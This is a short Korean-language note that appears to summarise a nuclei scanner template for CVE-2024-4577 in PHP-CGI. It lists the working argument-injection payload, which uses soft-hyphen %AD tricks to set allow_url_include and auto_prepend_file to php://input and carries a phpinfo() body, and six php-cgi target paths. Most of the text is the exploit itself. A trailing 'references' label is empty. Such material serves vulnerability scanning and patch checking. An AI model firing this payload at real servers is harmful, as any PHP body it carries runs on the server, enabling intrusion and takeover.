
CVE-2024-4577 nuclei-templates
페이로드:
?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
<?php phpinfo(); ?>
테스트 URL:
/unfxu9a.php{{payload}}
/php-cgi/unfxu9a.php{{payload}}
/cgi-bin/php-cgi.exe{{payload}}
/php-cgi/php-cgi.exe{{payload}}
/php-cgi/php.exe{{payload}}
/cgi-bin/php.exe{{payload}}

참고: